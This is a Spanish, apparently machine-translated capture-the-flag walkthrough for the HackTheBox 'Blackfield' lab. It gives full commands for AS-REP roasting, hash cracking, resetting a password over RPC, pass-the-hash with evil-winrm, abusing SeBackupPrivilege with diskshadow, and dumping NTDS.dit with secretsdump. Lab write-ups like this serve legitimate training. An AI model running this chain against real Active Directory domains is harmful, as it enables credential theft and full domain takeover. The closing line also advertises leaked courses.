HackTheBox. Tutorial Blackfield. Secuestro de controlador de dominio a través de SMB y RPC, LPE a través de instantáneas



Sigo publicando soluciones enviadas a la finalización de máquinas desde el sitio HackTheBox .



En este artículo, usaré ASRep Roasting para definir usuarios, RPC para cambiar contraseñas y tomar el control de una cuenta, y luego elevaré nuestros privilegios con una instantánea NTDS.DIT.



La conexión al laboratorio se realiza mediante VPN. Se recomienda no conectarse desde una computadora del trabajo o desde un host donde haya datos importantes para usted, ya que se encuentra en una red privada con personas que saben algo sobre seguridad de la información.



Información organizacional
, , Telegram . , , .



. , - , .



Recon



Esta máquina tiene una dirección IP de 10.10.10.192, que agrego a / etc / hosts.



10.10.10.192 	blackfield.htb


El primer paso es escanear los puertos abiertos. Hago esto usando el siguiente script, que toma un argumento: la dirección del host que se está escaneando:



#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1






Vemos muchos puertos abiertos, pero como de costumbre, comencemos con SMB. Veamos si podemos hacer algo sin iniciar sesión.



smbmap -u anonymous -H 10.10.10.192






Y podemos leer los perfiles del directorio $.



smbmap -u anonymous -H 10.10.10.192 -r 'profiles$'2






Tenemos una gran lista de usuarios potenciales. Podemos comprobar qué usuarios están realmente presentes en el sistema. El hecho es que durante un ataque de ASRep Roasting, el servidor tiene tres respuestas diferentes:



  • hash de la contraseña del usuario;
  • este usuario no tiene UAF Dont Require PreAuth establecido;
  • no existe tal usuario en la base de datos de Kerberos.


Así, podremos averiguar quién es y quién no.



Punto de entrada



Primero, obtengamos una lista.



smbmap -u anonymous -H 10.10.10.192 -r 'profiles$' | grep 2020 | awk -F ' ' '{print $8}' > users.txt


Ahora hagamos ASRep-Roasting.



GetNPUsers.py blackfield.local/ -dc-ip 10.10.10.192 -k -no-pass -usersfile ./users.txt






Y me sorprendió cuando nos devolvieron el hachís. Vamos a gruñirlo.



john support.hash -w=./tools/rockyou.txt






Y tenemos toda una cuenta controlada. Ahora obtengamos tanta información como sea posible usando enum4linux.



enum4linux -u support -p '#00^BlackKnight' -a 10.10.10.192 2>/dev/null






Obtendremos una lista enorme de usuarios desconocidos, pero lo más interesante es la pertenencia al grupo. Esto nos dirá que svc_backup está en el grupo RMU (RID: 580), lo que permite conexiones remotas usando Win-RM.



No podemos tomar nada más de SMB, pero no encontramos nada en LDAP. Pero en RPC, resultó que hay un truco. Vamos a conectar:



rpcclient 10.10.10.192 -U support






El hecho es que es posible cambiar la contraseña de un usuario con los mismos privilegios, todo lo que se describe en detalle aquí . Y logré hacer esto para el usuario audit2020.



setuserinfo2 audit2020 18 'ralf'






Ahora comenzamos el análisis de todos los recursos y servicios desde el principio, ya que tenemos otra cuenta controlada.



USUARIO



Pasamos a SMB.



smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192






Hay mucho para leer, es mejor mostrar todo el contenido de forma recursiva y verlo de una vez.



smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192 -R






Y en la carpeta forensic \ memory_analysis encontramos, aparentemente, un volcado del proceso lsass. Y de ahí podemos obtener contraseñas usando mimikatz. Descargue este archivo.



smbclient.py blackfield.local/audit2020:ralf@10.10.10.192






Ahora vayamos a la máquina de Windows y usemos mimikatz.







Y, conociendo el hash, usando Evil-WinRM, nos conectamos en nombre de svc_backup.



evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d






RAÍZ



Veamos los grupos y privilegios de usuario.







Tenemos el privilegio SeBackupPrivilege. Esto nos da derecho a crear una instantánea del archivo NTDS que contiene muchas credenciales. Después de crear una copia, no podemos simplemente extraer el archivo requerido. Para ello, necesitamos las siguientes DLL .



Hagamos una sombra. Creemos un archivo con el siguiente contenido.



SET CONTEXT PERSISTENT NOWRITERS
add volume c: alias ralfcopy
create
expose %ralfcopy% z:


Y ahora vamos a subirlo y descargar las bibliotecas al host.







Realicemos una instantánea.



diskshadow /s ds.txt










Y volcar el archivo.



Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit






Pero este archivo está cifrado, y para descifrarlo necesitamos el archivo SYSTEM, que no será un problema para obtenerlo.



reg save HKLM\SYSTEM C:\Temp\SYSTEM






Descargue ambos archivos de la máquina.







Y obtenemos los hash usando secretsdump del paquete impacket.



secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL






Conectémonos como administrador.



evil-winrm -i 10.10.10.192 -u Administrator -H 184fb5e5178480be64824d4cd53b99ee








Tenemos un control total sobre esta máquina.



Puedes unirte a nosotros en Telegram . Allí puede encontrar materiales interesantes, cursos filtrados y software. Reunamos una comunidad, en la que habrá personas con experiencia en muchas áreas de TI, entonces siempre podremos ayudarnos unos a otros en cualquier problema de TI y seguridad de la información.



All Articles